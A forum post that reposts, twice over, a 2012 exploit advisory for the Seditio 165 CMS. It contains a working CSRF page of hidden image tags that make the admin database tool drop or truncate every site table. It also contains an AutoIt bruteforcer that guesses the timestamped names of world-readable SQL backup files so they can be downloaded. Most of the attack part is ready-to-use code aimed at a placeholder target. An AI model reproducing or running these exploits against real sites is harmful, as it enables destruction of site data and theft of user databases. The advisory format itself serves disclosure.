Kaan - 2012-04-12 17:24 GMT -
Seditio version 165 suffers from backup disclosure and cross site request forgery vulnerabilities
Benim Haz?rlad?g?m Seditio 165 DbTools G?venlik Sorunu
Seditio version 165 suffers from backup disclosure and cross site request forgery vulnerabilities
Benim Haz?rlad?g?m Seditio 165 DbTools G?venlik Sorunu
Kod:
=============================================
Vulnerable Software: Seditio v165
Downloaded from: <a href="https://seditio.com.tr/eski1/datas/users/1-seditio.165.rar" target="_blank"><b>https://seditio.com.tr/eski1/data.....o.165.rar</b></a>
(This version is under development of Kaan)
$ md5sum 1-seditio.165.rar
2eebc8d80f7fcd4e9a0d0659ef193488 *1-seditio.165.rar
=============================================
Vuln Desc:
Seditio 165 is prone to CROSS SITE REQUEST FORGERY vuln.
*Because in administration section it uses
T3 DB Tools v1.6 without any $_GET tokenization this is possible without any problem to exploitate CSRF against application and destroy/truncate
database tables*
*Second issuse is seditio 165 stores database dump files in unsafe manner(See below)*
==============================================
Tested:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
mysql> select version()
-> ;
+-----------+
| version() |
+-----------+
| 5.5.21 |
+-----------+
*/
=================================================
@Print screen after succesfully CSRF attack:
<a href="http://s019.radikal.ru/i601/1204/1b/90552af729ad.png" target="_blank"><b>http://s019.radikal.ru/i601/1204.....729ad.png</b></a>
====================== Seditio 165 Drop/truncate Database tables using CSRF vuln ===================================
<h1>Seditio 165 Drop Database tables using CSRF vuln<br>
Because usage of T3 DB Tools v1.6 without any $_GET tokenization in administration section.</h1>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_posts" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_sections" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_structure" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_topics" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165/t/admin.php?m=dbtools&a=drop&table=sed_logger" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_pages" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_pfs_folders" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_pm" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_polls" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_polls_options" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_polls_voters" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_redirecter" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_trash" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_referers" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_auth" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_banlist" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_com" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_plugins" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_users" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_online" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_config" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_core" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_groups_users" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_cache" width="0" height="0"></img>
<!--IDEA! CTRL+H <a href="http://192.168.0.15/learn/128/sed/seditio165/" target="_blank"><b>http://192.168.0.15/learn/128/sed/seditio165/</b></a> to target :D-->
====================== EOF Seditio 165 Drop Database tables using CSRF vuln ===================================
You can change &a=drop to truncate statement too
In ex:
<img src="http://CHANGE_TO_RTARGEt/admin.php?m=dbtools&a=truncate&table=sed_forum_posts" width="0" height="0"></img>
Another issuse is: # Theris No .htaccess file to protect database dump files from world (Hint .htaccess =>deny from all<=)
<a href="mailto:me@localhost.localdomain">me@localhost.localdomain</a> /cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
# ls -lia
total 93
562949953537506 drwxrwxrwx+ 1 mehere ???????? 0 Apr 7 03:08 .
1407374883669468 drwxrwxrwx+ 1 mehere ???????? 0 Apr 7 03:02 ..
562949953537507 -rwxrwxrwx+ 1 mehere ???????? 370 Feb 12 21:39 index.php
1970324837100442 -rwx------+ 1 ???????? ???????? 91031 Apr 7 03:08 sed165_04.07.12-030823.sql <=== this is my dump
<a href="mailto:me@localhost.localdomain">me@localhost.localdomain</a> /cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
# pwd
/cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
<a href="mailto:me@localhost.localdomain">me@localhost.localdomain</a> /cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
#
Since database dump potentially world readable this is possible to bruteforce for existing database dump(s) and steal it.
From scratch and a bit lame but works for me at least it is Proof of concept:
@Print screen bruteforce result:
<a href="http://s019.radikal.ru/i614/1204/af/a16616428e18.png" target="_blank"><b>http://s019.radikal.ru/i614/1204.....28e18.png</b></a>
==================== Bruteforcer to find existing database dump file for seditio 165 ==========================
#include <inet.au3>
$prefix='sed165_'; db prefix in most cases sed_
$il='2012'; start year
$ay='04' ; start month
$gun='07'; start day
$site='http://192.168.0.15/learn/128/sed/seditio165/datas/backups/'; //target site
#cs
DO not touch
#ce
$saniye=00;
$deqiqe=00;
$saat=03;
;~ $gun='01'
$il=StringMid($il,3,StringLen($il))
while 1
Sleep(10);
$saniye+=1;
if $saniye >59 Then
$saniye='00'
$deqiqe+=1;
EndIf
if $deqiqe <10 Then
$deqiqe='0' & StringMid($deqiqe,StringLen($deqiqe),1)
EndIf
if $deqiqe >59 Then
$deqiqe='00';
$saat+=1;
EndIf
if $saat <10 Then
$saat='0' & StringMid($saat,StringLen($saat),1)
EndIf
if $saat >23 Then
$saat='00'
$gun+=1;
EndIf
if $gun <10 Then
$gun='0' & StringMid($gun,StringLen($gun),1)
EndIf
if $gun >31 Then
$gun='01';
$ay+=1;
EndIf
if $ay <10 Then
$ay='0' & StringMid($ay,StringLen($ay),1)
EndIf
if $ay >12 Then
$ay='01';
$il+=1;
EndIf
if $saniye <10 Then
$saniye='0' & StringMid($saniye,1,1);
EndIf
;~ format of dumpfile sed165_04.07.12-030823.sql
$fetchitifexists=$prefix & $ay & '.' & $gun & '.' & $il & '-' & $saat & $deqiqe & $saniye &'.sql' & @CRLF
ConsoleWrite('Verifying ' & $fetchitifexists & @CRLF);
if StringInStr(_INetGetSource($site & $fetchitifexists,TRUE),'-- T3 DB Tools',0) Then
MsgBox(0,"Check it out",$site & $fetchitifexists,10)
FileWrite(@ScriptDir &"\wohoooo.txt",$site & $fetchitifexists & @CRLF)
$confirm=MsgBox(65,"Exit or continue?","Exit or Continue?")
if $confirm=1 Then
MsgBox(48,"Bye","Byeeee xD");
Exit
EndIf
EndIf
WEnd
========================== EOF bruteforcer ============================================================
Vulnerable Software: Seditio v165
Downloaded from: <a href="https://seditio.com.tr/eski1/datas/users/1-seditio.165.rar" target="_blank"><b>https://seditio.com.tr/eski1/data.....o.165.rar</b></a>
(This version is under development of Kaan)
$ md5sum 1-seditio.165.rar
2eebc8d80f7fcd4e9a0d0659ef193488 *1-seditio.165.rar
=============================================
Vuln Desc:
Seditio 165 is prone to CROSS SITE REQUEST FORGERY vuln.
*Because in administration section it uses
T3 DB Tools v1.6 without any $_GET tokenization this is possible without any problem to exploitate CSRF against application and destroy/truncate
database tables*
*Second issuse is seditio 165 stores database dump files in unsafe manner(See below)*
==============================================
Tested:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
mysql> select version()
-> ;
+-----------+
| version() |
+-----------+
| 5.5.21 |
+-----------+
*/
=================================================
@Print screen after succesfully CSRF attack:
<a href="http://s019.radikal.ru/i601/1204/1b/90552af729ad.png" target="_blank"><b>http://s019.radikal.ru/i601/1204.....729ad.png</b></a>
====================== Seditio 165 Drop/truncate Database tables using CSRF vuln ===================================
<h1>Seditio 165 Drop Database tables using CSRF vuln<br>
Because usage of T3 DB Tools v1.6 without any $_GET tokenization in administration section.</h1>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_posts" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_sections" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_structure" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_topics" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165/t/admin.php?m=dbtools&a=drop&table=sed_logger" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_pages" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_pfs_folders" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_pm" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_polls" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_polls_options" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_polls_voters" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_redirecter" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_trash" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_referers" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_auth" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_banlist" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_com" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_plugins" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_users" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_online" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_config" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_core" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_groups_users" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_cache" width="0" height="0"></img>
<!--IDEA! CTRL+H <a href="http://192.168.0.15/learn/128/sed/seditio165/" target="_blank"><b>http://192.168.0.15/learn/128/sed/seditio165/</b></a> to target :D-->
====================== EOF Seditio 165 Drop Database tables using CSRF vuln ===================================
You can change &a=drop to truncate statement too
In ex:
<img src="http://CHANGE_TO_RTARGEt/admin.php?m=dbtools&a=truncate&table=sed_forum_posts" width="0" height="0"></img>
Another issuse is: # Theris No .htaccess file to protect database dump files from world (Hint .htaccess =>deny from all<=)
<a href="mailto:me@localhost.localdomain">me@localhost.localdomain</a> /cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
# ls -lia
total 93
562949953537506 drwxrwxrwx+ 1 mehere ???????? 0 Apr 7 03:08 .
1407374883669468 drwxrwxrwx+ 1 mehere ???????? 0 Apr 7 03:02 ..
562949953537507 -rwxrwxrwx+ 1 mehere ???????? 370 Feb 12 21:39 index.php
1970324837100442 -rwx------+ 1 ???????? ???????? 91031 Apr 7 03:08 sed165_04.07.12-030823.sql <=== this is my dump
<a href="mailto:me@localhost.localdomain">me@localhost.localdomain</a> /cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
# pwd
/cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
<a href="mailto:me@localhost.localdomain">me@localhost.localdomain</a> /cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
#
Since database dump potentially world readable this is possible to bruteforce for existing database dump(s) and steal it.
From scratch and a bit lame but works for me at least it is Proof of concept:
@Print screen bruteforce result:
<a href="http://s019.radikal.ru/i614/1204/af/a16616428e18.png" target="_blank"><b>http://s019.radikal.ru/i614/1204.....28e18.png</b></a>
==================== Bruteforcer to find existing database dump file for seditio 165 ==========================
#include <inet.au3>
$prefix='sed165_'; db prefix in most cases sed_
$il='2012'; start year
$ay='04' ; start month
$gun='07'; start day
$site='http://192.168.0.15/learn/128/sed/seditio165/datas/backups/'; //target site
#cs
DO not touch
#ce
$saniye=00;
$deqiqe=00;
$saat=03;
;~ $gun='01'
$il=StringMid($il,3,StringLen($il))
while 1
Sleep(10);
$saniye+=1;
if $saniye >59 Then
$saniye='00'
$deqiqe+=1;
EndIf
if $deqiqe <10 Then
$deqiqe='0' & StringMid($deqiqe,StringLen($deqiqe),1)
EndIf
if $deqiqe >59 Then
$deqiqe='00';
$saat+=1;
EndIf
if $saat <10 Then
$saat='0' & StringMid($saat,StringLen($saat),1)
EndIf
if $saat >23 Then
$saat='00'
$gun+=1;
EndIf
if $gun <10 Then
$gun='0' & StringMid($gun,StringLen($gun),1)
EndIf
if $gun >31 Then
$gun='01';
$ay+=1;
EndIf
if $ay <10 Then
$ay='0' & StringMid($ay,StringLen($ay),1)
EndIf
if $ay >12 Then
$ay='01';
$il+=1;
EndIf
if $saniye <10 Then
$saniye='0' & StringMid($saniye,1,1);
EndIf
;~ format of dumpfile sed165_04.07.12-030823.sql
$fetchitifexists=$prefix & $ay & '.' & $gun & '.' & $il & '-' & $saat & $deqiqe & $saniye &'.sql' & @CRLF
ConsoleWrite('Verifying ' & $fetchitifexists & @CRLF);
if StringInStr(_INetGetSource($site & $fetchitifexists,TRUE),'-- T3 DB Tools',0) Then
MsgBox(0,"Check it out",$site & $fetchitifexists,10)
FileWrite(@ScriptDir &"\wohoooo.txt",$site & $fetchitifexists & @CRLF)
$confirm=MsgBox(65,"Exit or continue?","Exit or Continue?")
if $confirm=1 Then
MsgBox(48,"Bye","Byeeee xD");
Exit
EndIf
EndIf
WEnd
========================== EOF bruteforcer ============================================================